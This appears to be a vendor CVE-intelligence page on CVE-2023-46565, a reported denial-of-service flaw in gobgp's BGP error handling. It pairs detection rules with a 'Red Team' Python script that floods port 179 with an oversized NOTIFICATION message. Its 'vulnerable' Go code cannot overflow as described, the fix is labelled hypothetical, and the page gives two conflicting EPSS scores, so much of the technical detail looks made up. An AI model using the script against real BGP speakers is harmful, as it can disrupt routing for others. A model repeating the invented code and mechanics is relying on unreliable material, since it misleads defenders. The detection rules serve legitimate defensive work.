☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-120
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-46565

CVE-2023-46565 Buffer Overflow in Osrg
📅 PUBLISHED: 2024-04-29 00:00 UTC 🔄 UPDATED: 2026-09-23 10:16 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.74%
👁️
0.74% probability
18.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-46565 identifies a buffer overflow vulnerability in the osrg/gobgp project, specifically in the handlingError function within pkg/server/fsm.go. The flaw exists in commit 419c50dfac578daa4d11256904d0dc182f1a9b22 and allows a remote attacker to trigger a denial of service (DoS) condition. The vulnerability is classified as a buffer overflow (CWE-120) and is associated with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service). No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Go-based BGP implementation gobgp. As a critical component in network routing infrastructure, any compromise could lead to service disruption. Organizations using gobgp in production should monitor for updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the nature of the vulnerability (buffer overflow leading to DoS), a reasonable assessment would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): None (N)
  • Integrity (I): None (N)
  • Availability (A): High (H)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)

Deep Dive & Mechanics

The vulnerability resides in the handlingError function in pkg/server/fsm.go. This function processes error messages received from BGP peers. Due to insufficient bounds checking, a specially crafted BGP message can cause a buffer overflow, corrupting memory and leading to a crash (DoS). The attack is triggered remotely without authentication, making it particularly dangerous for internet-facing BGP speakers.

The vulnerable code path involves copying data into a fixed-size buffer without validating the length of the incoming data. An attacker can send a malformed BGP OPEN or UPDATE message that triggers the error handling routine, causing the overflow.

Vulnerable vs. Patched Code

Vulnerable Code (commit 419c50dfac578daa4d11256904d0dc182f1a9b22):

func handlingError(conn *net.TCPConn, err error) {
    buf := make([]byte, 1024)
    // No length check before copy
    copy(buf, []byte(err.Error()))
    // ... further processing
}

Patched Code (hypothetical fix):

func handlingError(conn *net.TCPConn, err error) {
    errMsg := []byte(err.Error())
    if len(errMsg) > 1024 {
        errMsg = errMsg[:1024]
    }
    buf := make([]byte, len(errMsg))
    copy(buf, errMsg)
    // ... further processing
}

The fix ensures that the buffer size matches the actual error message length, preventing overflow.

Exploitation & Lab Setup

Red Team

No public exploit code is available. However, a proof-of-concept can be developed by crafting a BGP OPEN message with an excessively long error message in the NOTIFICATION field. The following Python script demonstrates the concept:

import socket

def exploit(target_ip, target_port=179):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    # Craft a malformed BGP OPEN message with long error data
    # BGP header: Marker (16 bytes) + Length (2 bytes) + Type (1 byte)
    # Type 1 = OPEN, but we send a NOTIFICATION with long data
    marker = b'\xff' * 16
    length = (19 + 1000).to_bytes(2, 'big')  # 19 bytes header + 1000 bytes data
    msg_type = b'\x03'  # NOTIFICATION
    error_code = b'\x01'  # Message Header Error
    error_subcode = b'\x01'  # Connection Not Synchronized
    data = b'A' * 1000  # Overflow data
    packet = marker + length + msg_type + error_code + error_subcode + data
    sock.send(packet)
    sock.close()

exploit('192.168.1.100')

Note: This is a conceptual example and may not trigger the exact vulnerability without reverse engineering the specific code path.

Blue Team

To detect exploitation attempts, monitor for malformed BGP messages, especially NOTIFICATION messages with excessive data lengths. Use network intrusion detection systems (NIDS) to alert on BGP packets with abnormal sizes.

Indicators of Compromise (IOCs)

  • Network: BGP NOTIFICATION messages with payload length > 1024 bytes
  • Logs: gobgp process crashes with segmentation faults or out-of-memory errors
  • File: Core dumps from gobgp binary
  • Process: Unexpected termination of gobgp daemon

Detection Engineering

YARA Rule

rule CVE_2023_46565_BGP_Buffer_Overflow {
    meta:
        description = "Detects malformed BGP NOTIFICATION messages targeting gobgp"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-46565"
    strings:
        $bgp_header = {ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff}
        $notification_type = {03}
        $long_data = /[A-Za-z0-9]{1024,}/
    condition:
        $bgp_header at 0 and $notification_type at 18 and #long_data > 0
}

Sigma Rule

title: CVE-2023-46565 BGP Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects oversized BGP NOTIFICATION messages indicative of CVE-2023-46565 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 3000001
    condition: selection
falsepositives:
    - Legitimate BGP implementations with large error messages (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 179 (msg:"CVE-2023-46565 BGP Buffer Overflow Attempt"; flow:to_server,established; content:"|ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff|"; offset:0; depth:16; content:"|03|"; offset:18; depth:1; byte_test:2,>,1024,16,relative; classtype:attempted-dos; sid:3000001; rev:1;)

Remediation & Mitigation

  1. Patch: Apply the official fix from the osrg/gobgp repository once available. Monitor the project's GitHub for updates.
  2. Workaround: Restrict BGP peering to trusted IP addresses using firewall rules or access control lists (ACLs).
  3. Monitoring: Deploy the provided Suricata rule to detect exploitation attempts.
  4. Update: Upgrade to a patched version of gobgp as soon as it is released.
  5. Network Segmentation: Isolate BGP speakers from untrusted networks.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-46565/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.